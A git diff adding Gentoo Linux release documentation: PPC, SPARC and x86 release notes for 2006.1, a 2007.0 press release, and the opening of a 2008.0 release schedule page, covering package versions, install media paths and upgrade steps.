+        </tr>
+      </table>
+
+    </body>
+  </section>
+
+  <section>
+    <title>Critical Package Updates</title>
+    <body>
+      <p>Important package-versions in this release:</p>
+
+      <ul>
+        <li>sys-devel/gcc-4.1.1</li>
+        <li>sys-libs/glibc-2.4-r3</li>
+        <li>sys-kernel/gentoo-sources-2.6.17-r5</li>
+        <li>sys-kernel/vanilla-sources-2.6.17.7</li>
+        <li>sys-apps/portage-2.1-r2</li>
+        <li>x11-base/xorg-x11-7.1</li>
+        <li>kde-base/kde-meta-3.5.2</li>
+        <li>gnome-base/gnome-2.14.2</li>
+        <li>xfce-base/xfce4-4.2.3.2</li>
+      </ul>
+
+      <p>There are two kernels on the InstallCD:</p>
+      <table>
+        <tr>
+          <th>Kernel filename</th>
+          <th>Capabilites</th>
+        </tr>
+        <tr>
+          <ti>apple</ti>
+          <ti>Supports uniprocessor and multiprocessor 32-bit Apple PowerPC
+            machines.</ti>
+        </tr>
+        <tr>
+          <ti>pegasos</ti>
+          <ti>Supports Genesi's Pegasos I and II Open Desktop Workstation,
+            with multiprocessor support.</ti>
+        </tr>
+      </table>
+
+      <p>For information about how to change your profile please read <uri
+          link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml" />.</p>
+
+    </body>
+  </section>
+
+  <section>
+    <title>Portage Updates</title>
+    <body>
+      <p>The Portage version included in this release is 2.1 and the <uri
+          link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+        can be found via our online CVS repository.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Userland Updates</title>
+    <body>
+      <ul>
+        <li>Catalyst, the Gentoo Release Metatool, is stable in Portage as
+          version 2.0. To use Catalyst, simply <c>emerge catalyst</c>.
+        </li>
+      </ul>
+    </body>
+  </section>
+
+  <section>
+    <title>Documentation Updates</title>
+    <body>
+      <p>Much consideration and time has been spent on the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook-ppc.xml">Gentoo
+          Installation Handbook</uri> in order to get it in sync with Gentoo
+        2006.1. Please note that it is a constant work in progress, and if any
+        bugs are encountered, please refer them to the Gentoo Linux bugtracking
+        system at <uri link="http://bugs.gentoo.org" />.</p>
+    </body>
+  </section>
+
+</chapter>
+
+<chapter>
+  <title>Upgrading and Installation of Gentoo 2006.1</title>
+  <section>
+    <title>Installing Gentoo 2006.1</title>
+    <body>
+      <p>The entire Gentoo Linux installation process is documented in the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo
+          Handbook</uri>.</p>
+
+      <p>The PowerPC release team offers three InstallCDs. The first one being a universal
+        bootable InstallCD which can be used to install with or without an Internet
+        connection.  The second InstallCD is a non-bootable subarch-optimized
+        Gentoo Reference Platform (GRP) CD which contains precompiled
+        binaries of popular programs such as X.org-X11, KDE, and GNOME. The
+        third InstallCD is a bootable minimal CD that is smaller in size and
+        includes only the basics needed to simply boot a machine.</p>
+
+      <p>At minimum, the universal or minimal InstallCD is required to boot the
+        machine and install Gentoo.  The universal InstallCD does not require an
+        Internet connection to install from a stage3 installation tarball. The
+        minimal InstallCD requires an Internet connection to install Gentoo
+        Linux.</p>
+
+      <p>There are two kernel available on both bootable CDs. It will run on
+        both, uniprocessor and multiprocessor systems.  The kernel is based on
+        the linux-2.6.17 series (gentoo-sources-2.6.17-r5).  Please refer to the
+        handbook for booting the CD.</p>
+
+      <p>The InstallCDs are located on the mirrors as follows: </p>
+      <table>
+        <tr>
+          <th>InstallCD Description</th>
+          <th>Location on Mirrors</th>
+        </tr>
+        <tr>
+          <ti>Universal bootable InstallCD</ti>
+          <ti>/releases/ppc/2006.1/installcd/install-ppc-universal-2006.1.iso</ti>
+        </tr>
+        <tr>
+          <ti>Minimal bootable InstallCD</ti>
+          <ti>/releases/ppc/2006.1/installcd/install-ppc-minimal-2006.1.iso</ti>
+        </tr>
+        <tr>
+          <ti>Non-bootable GRP-/Packages CD for generic PowerPC</ti>
+          <ti>/releases/ppc/2006.1/packagecd/$subarch/packages-ppc-2006.1.iso</ti>
+        </tr>
+        <tr>
+          <ti>Non-bootable GRP-/Packages CD optimized for G3</ti>
+          <ti>/releases/ppc/2006.1/packagecd/$subarch/packages-g3-2006.1.iso</ti>
+        </tr>
+        <tr>
+          <ti>Non-bootable GRP-/Packages CD optimized for G4</ti>
+          <ti>/releases/ppc/2006.1/packagecd/$subarch/packages-g4-2006.1.iso</ti>
+        </tr>
+      </table>
+    </body>
+  </section>
+  <section>
+    <title>Upgrading to Gentoo Linux 2006.1</title>
+    <body>
+      <p>If you already have a working installation of Gentoo Linux (Version
+        1.4, 2004.0 through 2006.0) there is no need to reinstall. You will
+        automatically get Gentoo 2006.1 if you sync your Portage tree and run
+        <c>emerge --update world</c>. If you still have an installation with a
+        Gentoo 1.2 profile it might make sense -- in some cases -- that you do a
+        new installation.</p>
+
+      <p>There is also the possibility to update your system to a 1.4 profile
+        from which you -- as already stated -- can easily get to Gentoo 2006.1.
+        This update includes recompiling of glibc and some essential system
+        packages; it will take a very long time (possibly longer as a complete
+        re-installation) and it might also fail. So if you still have an
+        installation with a Gentoo 1.2 profile, it's your decision whether you
+        update or reinstall.</p>
+    </body>
+  </section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2006.1/sparc-release-notes.xml b/xml/htdocs/proj/en/releng/release/2006.1/sparc-release-notes.xml
new file mode 100644
index 00000000..61eebf0f
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2006.1/sparc-release-notes.xml
@@ -0,0 +1,226 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2006.1/sparc-release-notes.xml,v 1.3 2006/08/30 01:04:21 gustavoz Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="sparc-release-notes.xml">
+<title>SPARC Release Notes for Gentoo Linux 2006.1</title>
+
+<author title="Author">
+ <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<author title="SPARC Release Coordinator">
+  <mail link="gustavoz@gentoo.org">Gustavo Zacarias</mail>
+</author>
+
+<abstract>
+Gentoo 2006.1 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.1</version>
+<date>2006-08-29</date>
+
+<chapter>
+  <title>The Gentoo Linux Project</title>
+  <section>
+    <title>Overview</title>
+    <body>
+      <p>Gentoo is a community driven project committed to producing high
+        quality opensource software. These release notes for Gentoo 2006.1
+        summarize important package updates, security updates, and many other
+        changes that have happened since Gentoo 2006.0</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Table of Contents</title>
+    <body>
+    <ul>
+      <li>1. Overview</li>
+      <li>2. Important Changes</li>
+      <li>  2.1 Security Updates</li>
+      <li>  2.2 Kernel Update</li>
+      <li>  2.3 X.Org Upgrade</li>
+      <li>  2.4 Errata</li>
+      <li>  2.5 Critical Package Updates</li>
+      <li>  2.6 Userland Updates</li>
+      <li>  2.7 Documentation Updates</li>
+      <li>3. Upgrading from previous versions of Gentoo Linux</li>
+    </ul>
+    </body>
+  </section>
+</chapter>
+
+<chapter>
+  <title>Important Changes for 2006.1</title>
+  <section>
+    <title>Security Updates</title>
+    <body>
+      <p>Gentoo 2006.1 contains security updates to address GLSAs (Gentoo
+        Linux Security Advisories) numbered 200601-15 to 200608-17.</p>
+
+      <p>Individual GLSAs can be referenced by going to
+        <c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and
+        substituting <c>$x</c> with the desired GLSA number. </p>
+
+      <p>For more information, please consult the the <uri
+          link="http://security.gentoo.org/">Gentoo Linux Security Project home
+          page</uri>.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Kernel Update</title>
+    <body>
+      <p>With Gentoo 2006.1 the SPARC team switched to 2.6 kernels as default.
+      2.4 kernels are still supported on 2.4 profiles (like 2006.1/2.4).
+      The stages for this release are built for 2.6 kernels so if you wish to
+      use 2.4 you'll need to re-emerge linux-headers, glibc, unmerge udev and
+      emerge devfsd. Alternatively you can use a 2006.0 stage, switch to the
+      2006.1/2.4 profile and upgrade from there.</p>
+      <p>Remember that gentoo-sources are preferred for 2.6 profiles and
+      sparc-sources for 2.4, and that you won't be able to use/boot a 2.6
+      installation with a 2.4 kernel.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>X.Org Upgrade</title>
+    <body>
+      <p>With this release, version 7.1 of X.Org X11 is used.  This is the
+        modular version of X.  For upgrading from the monolithic version of
+        X.org (&lt;7.0) , please follow the instructions in the
+        the <uri
+          link="http://www.gentoo.org/proj/en/desktop/x/x11/modular-x-howto.xml">Migrating
+          to Modular X HOWTO</uri>. </p>
+    </body>
+  </section>
+
+  <section>
+    <title>Errata</title>
+    <body>
+      <table>
+        <tr>
+          <th>Errata</th>
+          <th>Workaround</th>
+        </tr>
+      </table>
+
+    </body>
+  </section>
+
+  <section>
+    <title>Critical Package Updates</title>
+    <body>
+      <p>Important package-versions in this release:</p>
+
+      <ul>
+        <li>sys-devel/gcc-3.4.6-r1</li>
+        <li>sys-libs/glibc-2.3.6-r4</li>
+        <li>sys-kernel/gentoo-sources-2.6.17-r7</li>
+        <li>sys-kernel/sparc-sources-2.4.32-r6</li>
+        <li>sys-apps/portage-2.1-r2</li>
+      </ul>
+
+      <p>There are two kernels on the InstallCD:</p>
+      <table>
+        <tr>
+          <th>Kernel filename</th>
+          <th>Capabilites</th>
+        </tr>
+        <tr>
+          <ti>2616</ti>
+          <ti>2.6.16-based, supports uniprocessor and multiprocessor SPARC64 machines.</ti>
+        </tr>
+	<tr>
+	  <ti>2617</ti>
+	  <ti>2.6.17-based, supports uniprocessor and multiprocessor SPARC64 machines.</ti>
+	</tr>
+      </table>
+
+      <p>For information about how to change your profile please read <uri
+          link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml" />.</p>
+
+    </body>
+  </section>
+
+  <section>
+    <title>Userland Updates</title>
+    <body>
+      <ul>
+        <li>Catalyst, the Gentoo Release Metatool, is stable in Portage as
+          version 2.0. To use Catalyst, simply <c>emerge catalyst</c>.
+        </li>
+      </ul>
+    </body>
+  </section>
+
+  <section>
+    <title>Documentation Updates</title>
+    <body>
+      <p>Much consideration and time has been spent on the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook-sparc.xml">Gentoo
+          Installation Handbook</uri> in order to get it in sync with Gentoo
+        2006.1. Please note that it is a constant work in progress, and if any
+        bugs are encountered, please refer them to the Gentoo Linux bugtracking
+        system at <uri link="http://bugs.gentoo.org" />.</p>
+    </body>
+  </section>
+
+</chapter>
+
+<chapter>
+  <title>Upgrading and Installation of Gentoo 2006.1</title>
+  <section>
+    <title>Installing Gentoo 2006.1</title>
+    <body>
+      <p>The entire Gentoo Linux installation process is documented in the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo
+          Handbook</uri>.</p>
+
+      <p>The SPARC release team offers a Minimal and Universal InstallCD. The
+        Minimal InstallCD can be used to install only using an Internet
+	connection. The Universal InstallCD is useful for doing basic networkless
+	installs.</p>
+
+      <p>There are two kernels available on both CDs. The 2617 option
+        (gentoo-sources-2.6.17-r5) is the preferred choice, with the 2616 option
+	(gentoo-sources-2.6.16-r13) being a fallback option in case of hardware
+	incompatibilities. Please refer to the handbook for booting the CD.</p>
+
+      <p>The cds are located on the mirrors as follows: </p>
+      <table>
+        <tr>
+          <th>InstallCD Description</th>
+          <th>Location on Mirrors</th>
+        </tr>
+        <tr>
+          <ti>Minimal bootable InstallCD</ti>
+	  <ti>/releases/sparc/2006.1/sparc64/installcd/install-sparc64-minimal-2006.1.iso</ti>
+        </tr>
+        <tr>
+          <ti>Universal bootable InstallCD</ti>
+	  <ti>/releases/sparc/2006.1/sparc64/installcd/install-sparc64-universal-2006.1.iso</ti>
+        </tr>
+      </table>
+    </body>
+  </section>
+  <section>
+    <title>Upgrading to Gentoo Linux 2006.1</title>
+    <body>
+      <p>If you already have a working installation of Gentoo Linux (version
+        2006.0) there is no need to reinstall. You will automatically get
+	Gentoo 2006.1 if you sync your portage tree and run <c>emerge --update
+	world</c>.</p>
+	<p>If you have version 2005.1 or older installed you should follow the
+	<uri link="http://www.gentoo.org/doc/en/gcc-upgrading.xml">Gentoo Linux
+	GCC Upgrade Guide</uri> since there were changes in the SPARC ABI for
+	newer versions of GCC, which needs you to follow a careful upgrade
+	procedure to avoid installation problems.</p>
+    </body>
+  </section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2006.1/x86-release-notes.xml b/xml/htdocs/proj/en/releng/release/2006.1/x86-release-notes.xml
new file mode 100644
index 00000000..a70b525e
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2006.1/x86-release-notes.xml
@@ -0,0 +1,235 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2006.1/x86-release-notes.xml,v 1.4 2006/08/30 01:33:35 agaffney Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="x86-release-notes.xml">
+<title>x86 Release Notes for Gentoo Linux 2006.1</title>
+
+<author title="Author">
+ <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<author title="x86 Release Coordinator">
+  <mail link="agaffney@gentoo.org">Andrew Gaffney</mail>
+</author>
+
+<abstract>
+Gentoo 2006.1 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.4</version>
+<date>2006-08-29</date>
+
+<chapter>
+  <title>The Gentoo Linux Project</title>
+  <section>
+    <title>Overview</title>
+    <body>
+      <p>Gentoo is a community driven project committed to producing high
+        quality opensource software. These release notes for Gentoo 2006.1
+        summarize important package updates, security updates, and many other
+        changes that have happened since Gentoo 2006.0.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Table of Contents</title>
+    <body>
+    <ul>
+      <li>1. Overview</li>
+      <li>2. Important Changes</li>
+      <li>  2.1 Security Updates</li>
+      <li>  2.2 Toolchain Update</li>
+      <li>  2.3 X.Org Upgrade</li>
+      <li>  2.4 Errata</li>
+      <li>  2.5 Critical Package Updates</li>
+      <li>  2.6 Userland Updates</li>
+      <li>  2.7 Documentation Updates</li>
+      <li>3. Upgrading from previous versions of Gentoo Linux</li>
+    </ul>
+    </body>
+  </section>
+</chapter>
+
+<chapter>
+  <title>Important Changes for 2006.1</title>
+  <section>
+    <title>Security Updates</title>
+    <body>
+      <p>Gentoo 2006.1 contains security updates to address GLSAs (Gentoo
+        Linux Security Advisories) numbered 200601-15 to 200608-17.</p>
+
+      <p>Individual GLSAs can be referenced by going to
+        <c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and
+        substituting <c>$x</c> with the desired GLSA number. </p>
+
+      <p>For more information, please consult the the <uri
+          link="http://security.gentoo.org/">Gentoo Linux Security Project home
+          page</uri>.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Toolchain Update</title>
+    <body>
+      <p>With Gentoo 2006.1, the x86 team has made big changes to
+        the toolchain.  It now contains the following versions:</p>
+      <ul>
+        <li>sys-devel/gcc-4.1.1</li>
+        <li>sys-libs/glibc-2.4-r3</li>
+        <li>sys-devel/binutils-2.16.1-r3</li>
+      </ul>
+      <p>For upgrading gcc from version 3 to version 4, please follow the
+        instructions in the <uri
+          link="http://www.gentoo.org/doc/en/gcc-upgrading.xml">Gentoo Linux GCC
+          Upgrade Guide</uri>.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>X.Org Upgrade</title>
+    <body>
+      <p>With this release, version 7.0-r1 of X.Org X11 is used.  This is the
+        modular version of X.  For upgrading from the monolithic version of
+        X.org (&lt;7.0) , please follow the instructions in the <uri
+          link="http://www.gentoo.org/proj/en/desktop/x/x11/modular-x-howto.xml">Migrating
+          to Modular X HOWTO</uri>. While version 7.1 is available, we decided
+          not to use it, as a compatible version of the binary NVidia drivers
+          had not been released at snapshot time.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Errata</title>
+    <body>
+      <table>
+        <tr>
+          <th>Errata</th>
+          <th>Workaround</th>
+        </tr>
+      </table>
+
+    </body>
+  </section>
+
+  <section>
+    <title>Critical Package Updates</title>
+    <body>
+      <p>Important package-versions in this release:</p>
+
+      <ul>
+        <li>sys-devel/gcc-4.1.1</li>
+        <li>sys-libs/glibc-2.4-r3</li>
+        <li>sys-kernel/gentoo-sources-2.6.17-r7</li>
+        <li>sys-kernel/vanilla-sources-2.6.17.7</li>
+        <li>sys-apps/portage-2.1-r2</li>
+        <li>x11-base/xorg-x11-7.0-r1</li>
+        <li>kde-base/kde-meta-3.5.2</li>
+        <li>gnome-base/gnome-2.14.2</li>
+        <li>xfce-base/xfce4-4.2.3.2</li>
+      </ul>
+
+      <p>There is just one kernel on the InstallCD:</p>
+      <table>
+        <tr>
+          <th>Kernel filename</th>
+          <th>Capabilites</th>
+        </tr>
+        <tr>
+          <ti>gentoo</ti>
+          <ti>Supports uniprocessor and multiprocessor x86 machines.</ti>
+        </tr>
+      </table>
+
+      <p>For information about how to change your profile please read <uri
+          link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml" />.</p>
+
+    </body>
+  </section>
+
+  <section>
+    <title>Userland Updates</title>
+    <body>
+      <ul>
+        <li>Catalyst, the Gentoo Release Metatool, is stable in Portage as
+          version 2.0. To use Catalyst, simply <c>emerge catalyst</c>.
+        </li>
+      </ul>
+    </body>
+  </section>
+
+  <section>
+    <title>Documentation Updates</title>
+    <body>
+      <p>Much consideration and time has been spent on the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook-x86.xml">Gentoo
+          Installation Handbook</uri> in order to get it in sync with Gentoo
+        2006.1. Please note that it is a constant work in progress, and if any
+        bugs are encountered, please refer them to the Gentoo Linux bugtracking
+        system at <uri link="http://bugs.gentoo.org" />.</p>
+    </body>
+  </section>
+
+</chapter>
+
+<chapter>
+  <title>Upgrading and Installation of Gentoo 2006.1</title>
+  <section>
+    <title>Installing Gentoo 2006.1</title>
+    <body>
+      <p>The entire Gentoo Linux installation process is documented in the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo
+          Handbook</uri>.</p>
+
+      <p>The x86 release team offers a minimal InstallCD and a LiveCD. The first
+        one being a universally bootable InstallCD which can be used to install
+        only using an Internet connection. The LiveCD is useful for doing
+        networkless installs. It will only work on machines that implement the
+        i686 instruction set and higher.</p>
+
+      <p>There is only one kernel available on both bootable CDs. It will run on
+        both, uniprocessor and multiprocessor systems.  The kernel is based on
+        the linux-2.6.17 series (gentoo-sources-2.6.17-r7).  Please refer to the
+        handbook for booting the CD.</p>
+
+      <p>The cds are located on the mirrors as follows: </p>
+      <table>
+        <tr>
+          <th>InstallCD Description</th>
+          <th>Location on Mirrors</th>
+        </tr>
+        <tr>
+          <ti>Minimal bootable InstallCD</ti>
+          <ti>/releases/x86/2006.1/installcd/install-x86-minimal-2006.1.iso</ti>
+        </tr>
+        <tr>
+          <ti>Bootable X-LiveCD containting the Gentoo Installer</ti>
+          <ti>/releases/x86/2006.1/livecd/livecd-x86-installer-2006.1.iso</ti>
+        </tr>
+      </table>
+    </body>
+  </section>
+  <section>
+    <title>Upgrading to Gentoo Linux 2006.1</title>
+    <body>
+      <p>If you already have a working installation of Gentoo Linux (Version
+        1.4, 2004.0 through 2006.0) there is no need to reinstall. You will
+        automatically get Gentoo 2006.1 if you sync your Portage tree and run
+        <c>emerge --update world</c>. If you still have an installation with a
+        Gentoo 1.2 profile it might make sense -- in some cases -- that you do a
+        new installation.</p>
+
+      <p>There is also the possibility to update your system to a 1.4 profile
+        from which you -- as already stated -- can easily get to Gentoo 2006.1.
+        This update includes recompiling of glibc and some essential system
+        packages; it will take a very long time (possibly longer as a complete
+        re-installation) and it might also fail. So if you still have an
+        installation with a Gentoo 1.2 profile, it's your decision whether you
+        update or reinstall.</p>
+    </body>
+  </section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2007.0/2007.0-press-release.txt b/xml/htdocs/proj/en/releng/release/2007.0/2007.0-press-release.txt
new file mode 100644
index 00000000..68810f35
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2007.0/2007.0-press-release.txt
@@ -0,0 +1,72 @@
+After several delays, the Gentoo Release Engineering team is proud to announce
+the release of Gentoo Linux 2007.0, code named "Secret Sauce".  This release
+includes a completely rewritten version of the Gentoo Linux Installer on the
+AMD64 and x86 LiveCD and LiveDVD images.  It also includes GNOME 2.16.2, KDE
+3.5.5, Xfce 4.4, Mozilla Firefox 2.0.0.3, OpenOffice.org 2.1.0, and the 2.6.19
+Linux kernel.
+
+Alpha:
+Alpha has upgraded to GCC 4.1 and Glibc 2.5 for this release. Alpha also ends
+the 2.4 kernel support with this release and moves to the NPTL threading
+library which replaces the legacy LinuxThreads library.
+
+HPPA:
+This HPPA release primarily focuses on bug fixes and updated system software.
+Profiles have also been split in server and desktop profiles. The server
+profile provides minimal default settings and is ideal in many environments
+while the desktop profile provides all the defaults you would expect from a
+workstation for HPPA.
+
+IA64:
+IA64 primarily provides updated system software in this release. GCC 4.1
+finally replaces GCC 3.3. GLIBC 2.5 is also new with this release. Kernel
+support continues to see a steady stream of updates and bugfixes providing an
+overall better IA64 experience. IA64 now also provides seperate server and
+desktop profiles. The server profile provides a minimal set of USE flags while
+the desktop profile provides all the features normally expected from desktop
+environments.
+
+MIPS:
+The many updated packages are the primary highlight of this release. Important
+packages include GCC 4.1 and improved hardware support thanks to updated
+kernels.
+
+PPC:
+The PPC team brings lots of updated packages with this release and also brings
+you GLIBC 2.5.
+
+PPC64:
+Both 32-bit userland (32ul) and 64-bit userland (64ul) now provide server and
+desktop profiles. 64ul have moved to GCC 4.1. In addition to the generic PPC64
+stages this release also brings optimized stages for power5 and ppc970.
+
+PPC64 also has seperate beta support for the PlayStation 3 available in the
+experimental/ tree on Gentoo mirrors.
+
+S390/S390X:
+New experimental stages have been released for both S/390 (32-bit) and S/390x
+(64-bit).
+
+SH4:
+New experimental stages have been released for the SuperH platform, such as
+the Sega Dreamcast and other SuperH-based computers.
+
+SPARC:
+SPARC has updated toolchain software including GCC 4.1 and GLIBC 2.5. SPARC
+also ends support for 2.4 kernels allowing SPARC to focus on the many
+improvements that 2.6 kernels provide regarding features and stability.
+Finally there's improved profiles support with both server and desktop
+profiles providing default USE flags for different environments.
+
+x86/amd64:
+Updated hardware support is among the highlights of the x86 release. Besides
+the many updated office and productivity packages x86 also brings an update to
+GLIBC 2.5.
+
+On amd64 you can enjoy updated 32-bit emulation libraries improving support
+for many closed source applications and browser plugins.
+
+x86 and amd64 also provides both hardened and non-hardened stages in this
+release. Hardened stages are still using GCC 3.4.6 and GLIBC 2.3.6 but it's
+possible to upgrade from hardened to non-hardened stages, if needed.
+
diff --git a/xml/htdocs/proj/en/releng/release/2008.0/index.xml b/xml/htdocs/proj/en/releng/release/2008.0/index.xml
new file mode 100644
index 00000000..e02b33f4
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2008.0/index.xml
@@ -0,0 +1,382 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/releng/release/2008.0/index.xml" disclaimer="draft">
+<title>2008.0 Release Information</title>
+
+<author title="Author">
+<mail>wolf31o2</mail>
+</author>
+
+<abstract>
+This document serves as the definitive source for the 2008.0 release.
+</abstract>
+
+<license/>
+
+<version>1.17</version>
+<date>2008-07-06</date>
+
+<chapter>
+<title>Contacts</title>
+
+<section>
+<body>
+
+<ul>
+<li>Release Operations: <mail>wolf31o2</mail></li>
+<li>Documentation: <mail>nightmorph</mail></li>
+<li>Infrastructure: <mail>robbat2</mail></li>
+<li>Public Relations: <mail>dberkholz</mail></li>
+<li>Security: <mail>pva</mail></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Release Schedule</title>
+
+<section>
+<body>
+
+<note>
+This schedule is tentative in nature and may change without notice based on the
+needs of the Release Engineering project and Gentoo, as a whole.
+</note>
+
+<table>
+<tr>
+<th>Milestone</th>
+<th>Target Date</th>
+<th>Description</th>
+<th>Status</th>
+</tr>
+<tr>
+<ti>Initial meeting</ti>
+<ti>23 Jan 2008</ti>
+<ti>Plan release schedule, initial features, and other pertinent information for
+the upcoming release. A feature request is called after this meeting.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Feature request cut-off</ti>
+<ti>30 Jan 2008</ti>
+<ti>This is the cut-off date for feature requests.  No feature requests will be
+honored after this date, to give ample time for QA.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Initial snapshot</ti>
+<ti>1 Feb 2008</ti>
+<ti>A snapshot is made from the tree which is used for building the release.
+After this point, packages are added/updated in the snapshot only if it is
+necessary due to the potential impact of the issue, such as security bugs, or
+release-specific changes, such as an updated livecd-tools.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>QA builds/testing</ti>
+<ti>25 Feb 2008</ti>
+<ti>Several builds of the release media are made on each architecture, with
+modifications being made to the snapshot and the release building tools, as
+necessary.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Doc updates</ti>
+<ti>25 Feb 2008</ti>
+<ti>All documentation updates are to be submitted to the Documentation Liaison
+by this date for the upcoming release. Things that are commonly updated are the
+kernel versions used, kernel command line options that have been added/removed,
+and changes to the installation process.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Handbook updated</ti>
+<ti>29 Mar 2008</ti>
+<ti>The updated Handbook tarballs for each architecture are due to be delivered
+to Release Engineering for use on the Beta release.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Snapshot freeze (Beta 1)</ti>
+<ti>31 Mar 2008</ti>
+<ti>The snapshot is frozen to build an initial Beta release for wider testing
+in the community.  Once the Beta is released, the snapshot is unfrozen.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Beta 1 information</ti>
+<ti>30 Mar 2008</ti>
+<ti>The press release/news item for the Beta release is written and has been
+submitted to Release Engineering for approval.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Beta 1 upload</ti>
+<ti>30 Mar 2008</ti>
+<ti>The Beta is uploaded to the release staging server for distribution under
+the experimental directory on participating mirrors.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Beta 1 release</ti>
+<ti>1 Apr 2008</ti>
+<ti>The Beta is publicly released. The front page is updated to reflect this and
+notification is sent to news outlets.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Snapshot freeze (Beta 2)</ti>
+<ti>23 Apr 2008</ti>
+<ti>The snapshot is frozen to build the second Beta release for wider testing
+in the community.  Once the Beta is released, the snapshot is unfrozen.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Beta 2 information</ti>
+<ti>28 Apr 2008</ti>
+<ti>The press release/news item for the Beta release is written and has been
+submitted to Release Engineering for approval.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Beta 2 upload</ti>
+<ti>28 Apr 2008</ti>
+<ti>The Beta is uploaded to the release staging server for distribution under
+the experimental directory on participating mirrors.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Beta 2 release</ti>
+<ti>29 Apr 2008</ti>
+<ti>The Beta is publicly released. The front page is updated to reflect this and
+notification is sent to news outlets.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Snapshot freeze (Final)</ti>
+<ti>18 Jun 2008</ti>
+<ti>This is the due date for the final snapshot. After this point, no updates
+are made to the snapshot and the final build phase begins.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Doc updates</ti>
+<ti>18 Jun 2008</ti>
+<ti>Any additional changes to the Handbook must be submitted by this date. This
+coincides with the snapshot freeze, so no changes will happen in the snapshot
+past this date to ensure the accuracy of the Handbook.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Handbook updated</ti>
+<ti>19 Jun 2008</ti>
+<ti>The updated Handbook tarballs for each architecture are due to be delivered
+to Release Engineering for use on the final release.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Media uploaded</ti>
+<ti>04 Jul 2008</ti>
+<ti>All release media is uploaded to the release staging server (poseidon) by
+this date to be prepared for release.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Final preparation</ti>
+<ti>05 Jul 2008</ti>
+<ti>One final check is made of all release materials, DIGESTS files are signed,
+and any additional tasks are completed.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Release handover</ti>
+<ti>05 Jul 2008</ti>
+<ti>Release Engineering makes one final check of all materials, then hands it
+over to Infrastructure for staging and release.</ti>
+<ti>Completed</ti>
+</tr>
+<tr>
+<ti>Release</ti>
+<ti>06 Jul 2008</ti>
+<ti>All news items are committed, the release materials and Handbook are made
+visible to the public, and Release Engineering takes a well-deserved break.</ti>
+<ti>Completed</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Architectures Releasing</title>
+
+<section>
+<body>
+
+<p>
+The following supported architectures are tentatively releasing 2008.0 media.
+</p>
+
+<note>
+The listing of supported architectures can be located in the <uri
+link="/security/en/vulnerability-policy.xml">Gentoo Linux Vulnerability
+Treatment Policy</uri> document maintained by the Gentoo Security team.
+</note>
+
+<table>
+<tr>
+<th>Architecture</th>
+<th>Expected Components</th>
+<th>Release Coordinator(s)</th>
+</tr>
+<tr>
+<ti>alpha</ti>
+<ti>Minimal InstallCD, stages</ti>
+<ti><mail>klausman</mail></ti>
+</tr>
